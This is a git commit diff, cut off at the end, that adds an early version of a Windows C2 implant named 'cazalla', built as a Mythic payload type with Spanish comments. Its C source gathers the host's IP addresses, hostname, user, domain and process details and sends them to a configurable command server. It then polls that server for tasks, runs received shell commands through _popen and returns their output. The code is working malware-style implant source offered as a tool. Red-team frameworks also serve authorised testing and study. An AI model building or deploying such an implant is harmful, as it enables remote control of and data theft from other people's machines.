commit c29f059fffdfe0dcd92e36464cabeb9a1c413d14 Author: marcos.luna Date: Wed Apr 2 16:45:10 2025 +0200 v0.3:Conectividad y exit diff --git a/C2_Profiles/.keep b/C2_Profiles/.keep new file mode 100644 index 0000000..e69de29 diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 0000000..a8a4de8 --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,28 @@ + +Copyright (c) 2023, its-a-feature +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +* Neither the name of [project] nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/Payload_Type/cazalla/.keep b/Payload_Type/cazalla/.keep new file mode 100644 index 0000000..e69de29 diff --git a/Payload_Type/cazalla/Dockerfile b/Payload_Type/cazalla/Dockerfile new file mode 100644 index 0000000..961f44d --- /dev/null +++ b/Payload_Type/cazalla/Dockerfile @@ -0,0 +1,25 @@ +FROM python:3.11 + +ARG CA_CERTIFICATE +ARG NPM_REGISTRY +ARG PYPI_INDEX +ARG PYPI_INDEX_URL +ARG DOCKER_REGISTRY_MIRROR +ARG HTTP_PROXY +ARG HTTPS_PROXY + +RUN apt-get -y update && \ + apt-get -y upgrade && \ + apt-get install --no-install-recommends \ + software-properties-common apt-utils zip make build-essential libssl-dev zlib1g-dev libbz2-dev \ + xz-utils tk-dev libffi-dev liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm -y && \ + apt-get purge -y && \ + rm -rf /var/lib/apt/lists/* && \ + apt-get clean + +COPY requirements.txt / +RUN pip3 install -r /requirements.txt + +WORKDIR /Mythic/ + +CMD ["python3", "main.py"] \ No newline at end of file diff --git a/Payload_Type/cazalla/__init__.py b/Payload_Type/cazalla/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Payload_Type/cazalla/cazalla/__init__.py b/Payload_Type/cazalla/cazalla/__init__.py new file mode 100644 index 0000000..4d49f37 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/__init__.py @@ -0,0 +1,20 @@ +import glob +import os.path +from pathlib import Path +from importlib import import_module, invalidate_caches +import sys +# Get file paths of all modules. + +currentPath = Path(__file__) +searchPath = currentPath.parent / "agent_functions" / "*.py" +modules = glob.glob(f"{searchPath}") +invalidate_caches() +for x in modules: + if not x.endswith("__init__.py") and x[-3:] == ".py": + module = import_module(f"{__name__}.agent_functions." + Path(x).stem) + for el in dir(module): + if "__" not in el: + globals()[el] = getattr(module, el) + + +sys.path.append(os.path.abspath(currentPath.name)) diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Analizador.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Analizador.c new file mode 100644 index 0000000..8b2d1e8 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Analizador.c @@ -0,0 +1,115 @@ +#include "analizador.h" + +//Creacion de un nuevo Analizador. +PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano) { + //v2 change to syscalls + PAnalizador pAnalizador = (PAnalizador)LocalAlloc(LPTR, sizeof(Analizador)); + pAnalizador->buffer = NULL; + pAnalizador->tamano = tamano; + pAnalizador->tamanoOriginal = tamano; + pAnalizador->original = (PBYTE)LocalAlloc(LPTR, tamano); + + if (!pAnalizador->original) { + return NULL; + } + + memcpy(pAnalizador->original, buffer, tamano); + pAnalizador->buffer = pAnalizador->original; + + return pAnalizador; +} + +VOID liberarAnalizador(PAnalizador analizador) { + + analizador->original = NULL; + analizador->buffer = NULL; + LocalFree(analizador); + +} + + +BYTE getByte(PAnalizador analizador) { + + BYTE intByte = 0; + if (analizador->tamano < 1) { + return 0; + } + + //v2. Syscalls + memcpy(&intByte, analizador->buffer, 1); + analizador->buffer += 1; + analizador->tamano -= 1; + + return intByte; + +} + + +UINT32 getInt32(PAnalizador analizador) { + + UINT32 intByte = 0; + if (analizador->tamano < 4) { + return 0; + } + + //v2. Syscalls + memcpy(&intByte, analizador->buffer, 4); + analizador->buffer += 4; + analizador->tamano -= 4; + + return BYTESWAP32(intByte); + +} + +UINT64 getInt64(PAnalizador analizador) { + + UINT64 intByte = 0; + if (analizador->tamano < 8) { + return 0; + } + + //v2. Syscalls + memcpy(&intByte, analizador->buffer, 8); + analizador->buffer += 8; + analizador->tamano -= 8; + + return BYTESWAP64(intByte); + +} + +PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano) { + + SIZE_T length = 0; + if (*tamano == 0) { + + length = getInt32(analizador); + *tamano = length; + } + else { + + length = *tamano; + + } + + PBYTE datosDeSalida = (PBYTE)LocalAlloc(LPTR, length); + if (!datosDeSalida) { + return NULL; + } + + memcpy(datosDeSalida, analizador->buffer, length); + analizador->buffer += length; + analizador->tamano -= length; + + return datosDeSalida; +} + +PCHAR getString(PAnalizador analizador, PSIZE_T tamano) { + + return (PCHAR)getBytes(analizador, tamano); +} + +PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano) { + + return (PWCHAR)getBytes(analizador, tamano); + +} diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Config.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Config.h new file mode 100644 index 0000000..a08ef0e --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Config.h @@ -0,0 +1,13 @@ +#pragma once +#define initUUID "%UUID%" +#define hostname L"%HOSTNAME%" +#define endpoint L"%ENDPOINT%" +#define ssl %SSL% +#define proxyenabled %PROXYENABLED% +#define proxyurl L"%PROXYURL%" + +#define useragent L"%USERAGENT%" +#define httpmethod L"POST" +#define port %PORT% + +#define sleep_time %SLEEPTIME% \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile new file mode 100644 index 0000000..dc6c73b --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile @@ -0,0 +1,43 @@ +# Compiler +CC = x86_64-w64-mingw32-gcc +CFLAGS = -Wall -w -s -IInclude +LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp +DFLAGS = -D_DEBUG + +# Directories +SRC_FILES := *.c +BUILD_DIR = build + +# Ensure build directory exists +$(shell mkdir -p $(BUILD_DIR)) + +# Build Targets +all: exe dll + +exe: $(BUILD_DIR)/cazalla.exe + +dll: $(BUILD_DIR)/cazalla.dll + +debug: debug_exe debug_dll + +debug_exe: $(BUILD_DIR)/cazalla-debug.exe + +debug_dll: $(BUILD_DIR)/cazalla-debug.dll + +# Executable Target +$(BUILD_DIR)/cazalla.exe: $(SRC_FILES) + $(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) + +$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES) + $(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(DFLAGS) + +# DLL Target +$(BUILD_DIR)/cazalla.dll: $(SRC_FILES) + $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) + +$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES) + $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS) + +# Clean up +clean: + rm -rf $(BUILD_DIR) diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/analizador.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/analizador.h new file mode 100644 index 0000000..92897ed --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/analizador.h @@ -0,0 +1,26 @@ +#pragma once +#ifndef ANALIZADOR_H +#define ANALIZADOR_H + +#include "utils.h" + +typedef struct { + + PBYTE original; + PBYTE buffer; + SIZE_T tamano; + SIZE_T tamanoOriginal; + +} Analizador, * PAnalizador; + +PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano); +VOID liberarAnalizador(PAnalizador analizador); + +BYTE getByte(PAnalizador analizador); +UINT32 getInt32(PAnalizador analizador); +UINT64 getInt64(PAnalizador analizador); +PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano); +PCHAR getString(PAnalizador analizador, PSIZE_T tamano); +PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano); + +#endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c new file mode 100644 index 0000000..6dfc526 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.c @@ -0,0 +1,37 @@ +#include "cazalla.h" +#include "Config.h" + +CONFIG_CAZALLA* cazallaConfig = NULL; + +VOID cazallaMain() { + + //v2: evitar LocalAlloc + cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA)); + cazallaConfig->idAgente = (PCHAR)initUUID; + cazallaConfig->hostName = (PWCHAR)hostname; + cazallaConfig->puertoHttp = port; + cazallaConfig->endPoint = (PWCHAR)endpoint; + cazallaConfig->userAgent = (PWCHAR)useragent; + cazallaConfig->metodoHttp = (PWCHAR)httpmethod; + cazallaConfig->SSL = ssl; + cazallaConfig->proxyHabilitado = proxyenabled; + cazallaConfig->urlProxy = (PWCHAR)proxyurl; + cazallaConfig->tiempoSleep = sleep_time; + + PAnalizador respuestaAnalizador = checkin(); + + if (!respuestaAnalizador) { + _err("error en el primer checkin, cerrando\n"); + return; + } + + parseChecking(respuestaAnalizador); + while (TRUE) + rutina(); +} + +VOID setUUID(PCHAR newUUID) { + cazallaConfig->idAgente = newUUID; + return; +} + diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h new file mode 100644 index 0000000..9eb2d76 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cazalla.h @@ -0,0 +1,35 @@ +#pragma once +#ifndef CAZALLA_H +#define CAZALLA_H + +#include +#include "paquete.h" + +#include "analizador.h" +#include "utils.h" +#include "checkin.h" + +typedef struct { + // UUID + PCHAR idAgente; + //HTTP + PWCHAR hostName; + DWORD puertoHttp; + PWCHAR endPoint; + PWCHAR userAgent; + PWCHAR metodoHttp; + + BOOL SSL; + BOOL proxyHabilitado; + PWCHAR urlProxy; + + UINT32 tiempoSleep; +}CONFIG_CAZALLA, * PCONFIG_CAZALLA; + +extern PCONFIG_CAZALLA cazallaConfig; + + +VOID setUUID(PCHAR newUUID); +VOID cazallaMain(); + +#endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.c new file mode 100644 index 0000000..41e64a4 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.c @@ -0,0 +1,35 @@ +#include "cerrarCallback.h" +#include "paquete.h" +#include + + +BOOL cerrarCallback(PAnalizador argumentos){ + + SIZE_T tamanoUuid = 36; + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + + // Crear paquete de respuesta + PPaquete paquete = nuevoPaquete(POST_RESPONSE, TRUE); + + // Si falla la creación del paquete, cerramos con error + if (!paquete) { + ExitProcess(1); + return FALSE; + } + + // Agregar el UUID de la tarea + addString(paquete, tareaUuid, FALSE); + + // Indicar que la tarea se completó con éxito + addByte(paquete, TASK_COMPLETE); + + // Enviar el paquete + mandarPaquete(paquete); + + // Liberar memoria del paquete + liberarPaquete(paquete); + + // Terminar el proceso + ExitProcess(0); + return TRUE; +} \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.h new file mode 100644 index 0000000..f72e2ef --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/cerrarCallback.h @@ -0,0 +1,11 @@ +#pragma once +#ifndef EXIT_H +#define EXIT_H + +#include +#include "analizador.h" + +BOOL cerrarCallback(PAnalizador argumentos); + + +#endif //EXIT_H \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c new file mode 100644 index 0000000..5ff808a --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.c @@ -0,0 +1,196 @@ +#include "checkin.h" +#include "cazalla.h" + +#pragma comment(lib, "iphlpapi.lib") +#include + +// Obtener Direcciones IPs. +UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) { + + PMIB_IPADDRTABLE pTablaDireccionesIP; + DWORD dwSize = 0; + DWORD dwRetVal = 0; + IN_ADDR IPAddr; + LPVOID lpMsgBuf; + + pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE)); + if (pTablaDireccionesIP) { + + if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) { + + LocalFree(pTablaDireccionesIP); + pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize); + } + + if (pTablaDireccionesIP == NULL) { + return NULL; + } + } + else { + return NULL; + } + + if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) { + + return NULL; + + } + else { + + *numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries; + } + + UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32)); + + for (UINT32 i = 0; i < *numeroDeIPs; i++) { + + IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr; + tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr); + } + + if (pTablaDireccionesIP) { + + LocalFree(pTablaDireccionesIP); + } + + return tableOfIPs; +} + + +// Obtener la arquitectura +BYTE obtenerArquitectura() { + + SYSTEM_INFO informacionDelSistema; + + GetNativeSystemInfo(&informacionDelSistema); + if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) { + return 0x64; + } + + return 0x86; +} + +// Obtener el Hostname +PCHAR obtenerHostame() { + + LPSTR datos = NULL; + DWORD dataLen = 0; + const char* hostnameRep = "N/A"; + + if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen)) + { + if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) + { + GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen); + hostnameRep = datos; + } + } + return (char*)hostnameRep; +} + +// Obtener el usuario +char* obtenerUsuarios() { + + LPSTR datos = NULL; + DWORD dataLen = 0; + const char* usuario = "N/A"; + + if (!GetUserNameA(NULL, &dataLen)) { + + if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) { + + GetUserNameA(datos, &dataLen); + usuario = datos; + } + } + return (char*)usuario; +} + +// Obtener el dominio +LPWSTR obtenerDominio() { + + DWORD dwLevel = 102; + LPWKSTA_INFO_102 pBuf = NULL; + PWCHAR dominio = NULL; + NET_API_STATUS nStatus; + LPWSTR pszServerName = NULL; + + nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf); + if (nStatus == NERR_Success) { + + DWORD length = lstrlenW(pBuf->wki102_langroup); + dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length); + memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length); + } + + if (pBuf != NULL) { + + NetApiBufferFree(pBuf); + } + + return dominio; +} + +char* getOsName() { + + return (PCHAR)"Windows"; +} + +// Obtener el nombre del proceso actual +char* obtenerNombreProceso() { + + char* nombreProceso = NULL; + HANDLE handle = GetCurrentProcess(); + if (handle) { + + DWORD buffSize = 1024; + CHAR buffer[1024]; + + if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) { + + nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1); + memcpy(nombreProceso, buffer, buffSize); + } + CloseHandle(handle); + } + return nombreProceso; +} + + +PAnalizador checkin() { + + UINT32 numeroDeIPs = 0; + PPaquete checkin = nuevoPaquete(CHECKIN, TRUE); + if (!checkin) { + _err("Error: nuevoPaquete() devolvió NULL en checkin\n"); + return NULL; + } + addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE); + + UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs); + addInt32(checkin, numeroDeIPs); + for (UINT32 i = 0; i < numeroDeIPs; i++) { + addInt32(checkin, tableOfIPs[i]); + } + + addString(checkin, getOsName(), TRUE); + addByte(checkin, obtenerArquitectura()); + addString(checkin, obtenerHostame(), TRUE); + addString(checkin, obtenerUsuarios(), TRUE); + addWString(checkin, obtenerDominio(), TRUE); + addInt32(checkin, GetCurrentProcessId()); + addString(checkin, obtenerNombreProceso(), TRUE); + addString(checkin, (PCHAR)"1.1.1.1", TRUE); + + + PAnalizador respuestaAnalizador = mandarPaquete(checkin); + + liberarPaquete(checkin); + + if (!respuestaAnalizador) { + _err("parece que la respuesta del parser es incorrecta, y por lo tanto, la aplicacion va a cerrarse\n"); + return NULL; + + } + return respuestaAnalizador; +} \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.h new file mode 100644 index 0000000..b55139f --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/checkin.h @@ -0,0 +1,17 @@ +#pragma once + +#ifndef CHECKIN_H +#define CHECKIN_H +#include +#include +#include +#include "paquete.h" +#include "transporte.h" +#include "analizador.h" +#include "comandos.h" + +#pragma comment(lib, "netapi32.lib") + +PAnalizador checkin(); + +#endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c new file mode 100644 index 0000000..1cc8d64 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c @@ -0,0 +1,78 @@ +#include "cazalla.h" +#include "comandos.h" + +BOOL handleGetTasking(PAnalizador obtenerTarea) { + + UINT32 numeroTareas = getInt32(obtenerTarea); + if (numeroTareas) { + _dbg("[Tareas] hay %d tareas !\n", numeroTareas); + } + + for (UINT32 i = 0; i < numeroTareas; i++) { + SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID + BYTE tarea = getByte(obtenerTarea); + PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea); + PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea); + + if (tarea == SHELL_CMD) + { + ejecutarConsola(analizadorTarea); + } + else if (tarea == EXIT_CMD) { + cerrarCallback(analizadorTarea); + } + + } + return TRUE; +} + +BOOL commandDispatch(PAnalizador respuesta) { + + BYTE tipoRespuesta = getByte(respuesta); + if (tipoRespuesta == GET_TASKING) { + return handleGetTasking(respuesta); + } + else if (tipoRespuesta == POST_RESPONSE) { + return TRUE; + } + return TRUE; +} + +BOOL parseChecking(PAnalizador respuestaAnalizador) { + + if (getByte(respuestaAnalizador) != CHECKIN) { + + liberarAnalizador(respuestaAnalizador); + return FALSE; + } + + SIZE_T tamanoUuid = 36; + PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid); + setUUID(nuevoUuid); + + _dbg("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid); + + liberarAnalizador(respuestaAnalizador); + + return TRUE; +} + +BOOL rutina() { + + PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE); + addInt32(obtenerTarea, NUMBER_OF_TASKS); + + Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea); + // sin respuesta + if (!respuestaAnalizador) { + + return FALSE; + } + commandDispatch(respuestaAnalizador); + + // Sleep + Sleep(cazallaConfig->tiempoSleep); + + return TRUE; + +} \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h new file mode 100644 index 0000000..8d435ca --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h @@ -0,0 +1,23 @@ +#pragma once + +#ifndef COMMANDOS +#define COMMANDOS + +#include "analizador.h" +#include "paquete.h" +#include "consola.h" +#include "cerrarCallback.h" + +#define SHELL_CMD 0x54 +#define GET_TASKING 0x00 +#define POST_RESPONSE 0x01 +#define CHECKIN 0xf1 + +#define NUMBER_OF_TASKS 1 + +#define EXIT_CMD 0x80 + +BOOL parseChecking(PAnalizador respuestaAnalizador); +BOOL rutina(); + +#endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.c new file mode 100644 index 0000000..9c6dcaf --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.c @@ -0,0 +1,38 @@ +#include "consola.h" + +BOOL ejecutarConsola(PAnalizador argumentos) { + + SIZE_T tamanoUuid = 36; + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + UINT32 nbArg = getInt32(argumentos); + SIZE_T tamano = 0; + PCHAR comando = getString(argumentos, &tamano); + + comando = (PCHAR)LocalReAlloc(comando, tamano + 1, LMEM_MOVEABLE | LMEM_ZEROINIT); + + FILE* fp; + CHAR ruta[1035]; + + PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaTarea, tareaUuid, FALSE); + + //paquete temporal para la salida + PPaquete salida = nuevoPaquete(0, FALSE); + + fp = _popen(comando, "rb"); + if (!fp) { + _err("[Consola] Error ejecutando el comando"); + return FALSE; + } + + while (fgets(ruta, sizeof(ruta), fp) != NULL) { + addString(salida, ruta, FALSE); + } + + addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE); + + _pclose(fp); + Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea); + + return TRUE; +} \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.h new file mode 100644 index 0000000..a4858f2 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/consola.h @@ -0,0 +1,7 @@ +#pragma once +#include +#include "paquete.h" +#include "analizador.h" +#include "comandos.h" + +BOOL ejecutarConsola(PAnalizador argumentos); \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/debug.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/debug.h new file mode 100644 index 0000000..0e47264 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/debug.h @@ -0,0 +1,42 @@ +#pragma once + +#include + +#if defined(_DEBUG) + + +#define DBG "DBG" +#define ERR "ERR" +#define WRN "WRN" +#define INF "INF" + +#define _log(level, format, ...) printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__); +#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__) +#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__) +#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__) +#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__) +#elif defined(_DEBUG_RELEASE) +#define DBG +#define ERR +#define WRN +#define INF +#define _log(level, format, ...) {HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA , 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\ +CHAR out[200] = { 0 };\ +sprintf(out, format"\n", ## __VA_ARGS__);\ +WriteFile(debugFile, out, strlen(out), NULL, NULL);\ +CloseHandle(debugFile);} +#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__) +#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__) +#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__) +#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__) +#else +#define DBG +#define ERR +#define WRN +#define INF +#define _log(level, format, ...) +#define _dbg(format, ...) +#define _err(format, ...) +#define _wrn(format, ...) +#define _inf(format, ...) +#endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c new file mode 100644 index 0000000..ef409e9 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/main.c @@ -0,0 +1,12 @@ +#include "cazalla.h" + +//#ifdef _DEBUG +//int main() +//#else +int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow) +//#endif +{ + cazallaMain(); + + return 0; +} \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c new file mode 100644 index 0000000..5fc7f2a --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c @@ -0,0 +1,122 @@ +#include "cazalla.h" +#include "paquete.h" + +//Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete. +PPaquete nuevoPaquete(BYTE idComando, BOOL init) { + //v2 change to syscalls + PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete)); + if (!paquete) { + _err("Error: fallo al asignar memoria para Paquete\n"); + return NULL; + } + paquete->buffer = LocalAlloc(LPTR, sizeof(BYTE)); + if (!paquete->buffer) { + return NULL; + } + + paquete->length = 0; + if (init) { + addString(paquete, cazallaConfig->idAgente, FALSE); + addByte(paquete, idComando); + } + + return paquete; +} + +VOID liberarPaquete(PPaquete paquete) { + + LocalFree(paquete->buffer); + LocalFree(paquete); + +} + +PAnalizador mandarPaquete(PPaquete paquete) { + + + PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length); + SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length); + + PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete); + + if (!respuesta) { + + paqueteParaMandar = NULL; + return NULL; + } + + return respuesta; + +} + +BOOL addByte(PPaquete paquete, BYTE byte) { + //v2. Syscalls + paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE); + if (!paquete->buffer) { + return FALSE; + } + ((PBYTE)paquete->buffer + paquete->length)[0] = byte; + paquete->length += 1; + return TRUE; +} + + +BOOL addInt32(PPaquete paquete, UINT32 valor) { + + paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT); + if (!paquete->buffer) { + return FALSE; + } + + addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor); + paquete->length += sizeof(UINT32); + return TRUE; +} + +BOOL addInt64(PPaquete paquete, UINT64 valor) { + + paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT); + if (!paquete->buffer) { + return FALSE; + } + + addInt64ToBuffer((PUCHAR)(paquete->buffer), valor); + paquete->length += sizeof(UINT64); + return TRUE; +} + +BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) { + + if (tamanoCopia && tamano) { + if (!addInt32(paquete, tamano)) { + return FALSE; + } + } + if (tamano) { + paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + tamano, LMEM_MOVEABLE | LMEM_ZEROINIT); + if (!paquete->buffer) { + return FALSE; + } + if (tamanoCopia) { + addInt32ToBuffer((PUCHAR)paquete->buffer + (paquete->length - sizeof(UINT32)), tamano); + } + //v2.syscalls + memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano); + paquete->length += tamano; + } + return TRUE; +} + +BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) { + + if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) { + return FALSE; + } + return TRUE; +} + +BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) { + if (!addBytes(paquete, (PBYTE)datos, lstrlenW(datos) * 2, tamanoCopia)) { + return FALSE; + } + return TRUE; +} diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h new file mode 100644 index 